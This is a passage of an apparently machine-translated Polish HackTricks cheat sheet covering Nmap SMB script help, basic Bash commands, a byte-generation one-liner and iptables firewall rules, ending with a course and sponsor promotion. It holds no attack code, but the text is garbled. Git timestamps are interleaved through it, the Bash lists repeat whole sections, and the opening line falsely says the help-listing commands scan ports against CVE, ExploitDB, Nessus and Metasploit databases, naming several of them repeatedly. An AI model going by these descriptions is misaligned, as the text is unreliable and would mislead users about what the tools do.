To polecenie Nmap skanuje określone porty na danym hoście w poszukiwaniu potencjalnych wrażliwości, korzystając z baz danych CVE, ExploitDB, OpenVAS, Nessus, Nikto, Metasploit, Nikto, ExploitDB, OpenVAS, Nikto, Metasploit i Nikto, i wyświetla informacje o znalezionych podatnościach.
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
2022-05-07 19:19:13 +00:00
## Bash
2024-02-11 01:46:25 +00:00
Bash (Bourne Again SHell) jest popularnym interpreterem poleceń w systemach operacyjnych opartych na Unixie. Poniżej znajduje się lista przydatnych poleceń Bash:
### Polecenia systemowe
- `ls`: Wyświetla zawartość bieżącego katalogu.
- `cd`: Zmienia bieżący katalog.
- `pwd`: Wyświetla ścieżkę do bieżącego katalogu.
- `mkdir`: Tworzy nowy katalog.
- `rm`: Usuwa plik lub katalog.
- `cp`: Kopiuje plik lub katalog.
- `mv`: Przenosi plik lub katalog.
- `cat`: Wyświetla zawartość pliku.
- `touch`: Tworzy nowy plik.
- `chmod`: Zmienia uprawnienia pliku lub katalogu.
- `chown`: Zmienia właściciela pliku lub katalogu.
- `chgrp`: Zmienia grupę pliku lub katalogu.
- `find`: Wyszukuje pliki i katalogi.
- `grep`: Wyszukuje wzorce w plikach.
- `tar`: Tworzy lub rozpakowuje archiwum tar.
- `gzip`: Kompresuje plik.
- `gunzip`: Rozpakowuje skompresowany plik gzip.
- `ssh`: Nawiązuje połączenie SSH z innym hostem.
- `scp`: Kopiuje pliki między hostami za pomocą SSH.
### Polecenia procesów
- `ps`: Wyświetla informacje o działających procesach.
- `top`: Wyświetla listę procesów w czasie rzeczywistym.
- `kill`: Wysyła sygnał do procesu.
- `bg`: Uruchamia proces w tle.
- `fg`: Przywraca proces do pierwszego planu.
- `jobs`: Wyświetla listę procesów w tle.
### Polecenia sieciowe
- `ping`: Wysyła pakiety ICMP do hosta.
- `ifconfig`: Wyświetla informacje o interfejsach sieciowych.
- `netstat`: Wyświetla informacje o połączeniach sieciowych.
- `wget`: Pobiera plik z sieci.
- `curl`: Wysyła żądanie HTTP do serwera.
- `ssh`: Nawiązuje połączenie SSH z innym hostem.
- `scp`: Kopiuje pliki między hostami za pomocą SSH.
### Polecenia administracyjne
- `sudo`: Wykonuje polecenie jako superużytkownik.
- `su`: Zmienia użytkownika.
- `passwd`: Zmienia hasło użytkownika.
- `useradd`: Dodaje nowego użytkownika.
- `userdel`: Usuwa użytkownika.
- `groupadd`: Dodaje nową grupę.
- `groupdel`: Usuwa grupę.
- `visudo`: Edytuje plik konfiguracyjny sudoers.
### Polecenia informacyjne
- `uname`: Wyświetla informacje o systemie.
- `whoami`: Wyświetla nazwę aktualnego użytkownika.
- `hostname`: Wyświetla nazwę hosta.
- `df`: Wyświetla informacje o dostępnym miejscu na dysku.
- `du`: Wyświetla informacje o zajętym miejscu na dysku.
- `free`: Wyświetla informacje o dostępnej pamięci.
- `uptime`: Wyświetla czas działania systemu.
- `date`: Wyświetla aktualną datę i godzinę.
### Polecenia archiwizacji
- `tar`: Tworzy lub rozpakowuje archiwum tar.
- `gzip`: Kompresuje plik.
- `gunzip`: Rozpakowuje skompresowany plik gzip.
### Polecenia programowania
- `echo`: Wyświetla tekst na ekranie.
- `read`: Wczytuje dane z wejścia.
- `for`: Wykonuje pętlę dla każdego elementu w liście.
- `while`: Wykonuje pętlę dopóki warunek jest spełniony.
- `if`: Wykonuje blok kodu, jeśli warunek jest spełniony.
- `case`: Wykonuje blok kodu, w zależności od wartości zmiennej.
- `function`: Definiuje funkcję.
### Polecenia innych narzędzi
- `grep`: Wyszukuje wzorce w plikach.
- `sed`: Edytuje tekst w plikach.
- `awk`: Przetwarza i analizuje tekst w plikach.
- `cut`: Wybiera określone pola z pliku.
- `sort`: Sortuje linie w pliku.
- `uniq`: Usuwa duplikaty z pliku.
- `wc`: Liczy słowa, linie i znaki w pliku.
- `head`: Wyświetla początkowe linie pliku.
- `tail`: Wyświetla końcowe linie pliku.
### Polecenia powłoki
- `echo`: Wyświetla tekst na ekranie.
- `read`: Wczytuje dane z wejścia.
- `export`: Ustawia zmienną środowiskową.
- `source`: Wykonuje skrypt powłoki.
- `alias`: Tworzy alias dla polecenia.
- `history`: Wyświetla historię poleceń.
- `exit`: Kończy sesję powłoki.
### Polecenia plików i katalogów
- `ls`: Wyświetla zawartość bieżącego katalogu.
- `cd`: Zmienia bieżący katalog.
- `pwd`: Wyświetla ścieżkę do bieżącego katalogu.
- `mkdir`: Tworzy nowy katalog.
- `rm`: Usuwa plik lub katalog.
- `cp`: Kopiuje plik lub katalog.
- `mv`: Przenosi plik lub katalog.
- `cat`: Wyświetla zawartość pliku.
- `touch`: Tworzy nowy plik.
- `chmod`: Zmienia uprawnienia pliku lub katalogu.
- `chown`: Zmienia właściciela pliku lub katalogu.
- `chgrp`: Zmienia grupę pliku lub katalogu.
- `find`: Wyszukuje pliki i katalogi.
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
2022-05-07 19:19:13 +00:00
## Iptables
2024-02-11 01:46:25 +00:00
Iptables jest narzędziem do konfiguracji zapory sieciowej w systemach Linux. Pozwala na zarządzanie regułami filtracji pakietów, które przechodzą przez interfejsy sieciowe. Można go używać do blokowania lub przekierowywania ruchu sieciowego na podstawie różnych kryteriów, takich jak adres IP, porty, protokoły itp.
### Podstawowe polecenia
#### 1. iptables -L
Polecenie `iptables -L` wyświetla listę wszystkich reguł zapory sieciowej. Można użyć opcji `-v` lub `--verbose`, aby uzyskać bardziej szczegółowe informacje, takie jak liczba pakietów i bajtów, które pasują do każdej reguły.
#### 2. iptables -A
Polecenie `iptables -A` służy do dodawania nowych reguł do zapory sieciowej. Można określić różne parametry, takie jak źródłowy i docelowy adres IP, porty, protokoły itp. Przykład:
```
iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT
```
#### 3. iptables -D
Polecenie `iptables -D` służy do usuwania istniejących reguł z zapory sieciowej. Musisz podać numer reguły, którą chcesz usunąć. Przykład:
```
iptables -D INPUT 2
```
#### 4. iptables -P
Polecenie `iptables -P` służy do ustawiania domyślnych działań dla łańcuchów zapory sieciowej. Można ustawić domyślne działanie dla łańcuchów INPUT, OUTPUT i FORWARD. Przykład:
```
iptables -P INPUT DROP
```
### Przykłady użycia
#### 1. Blokowanie adresu IP
Aby zablokować ruch z określonego adresu IP, można użyć polecenia:
```
iptables -A INPUT -s 192.168.1.100 -j DROP
```
#### 2. Przekierowywanie portu
Aby przekierować ruch z jednego portu na inny, można użyć polecenia:
```
iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
```
#### 3. Ograniczanie liczby połączeń
Aby ograniczyć liczbę jednoczesnych połączeń z określonego adresu IP, można użyć polecenia:
```
iptables -A INPUT -p tcp --syn --dport 22 -m connlimit --connlimit-above 3 -j REJECT
```
### Ważne uwagi
- Polecenia `iptables` wymagają uprawnień administratora, dlatego należy je wykonywać jako użytkownik root lub użyć polecenia `sudo`.
- Reguły zapory sieciowej są stosowane w kolejności, w jakiej są dodawane. Ważne jest, aby pamiętać o kolejności reguł, ponieważ pierwsza pasująca reguła zostanie zastosowana.
- Aby zachować reguły zapory sieciowej po ponownym uruchomieniu systemu, należy je zapisać w odpowiednim pliku konfiguracyjnym, na przykład `/etc/iptables/rules.v4`.
```bash
#Delete curent rules and chains
iptables --flush
iptables --delete-chain
#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
#allow ssh, http, https, dns
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
#default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2023-12-30 20:49:49 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>
2022-08-31 22:35:39 +00:00
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
2024-02-11 01:46:25 +00:00
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społeczności.\
Otrzymaj dostęp już dziś:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}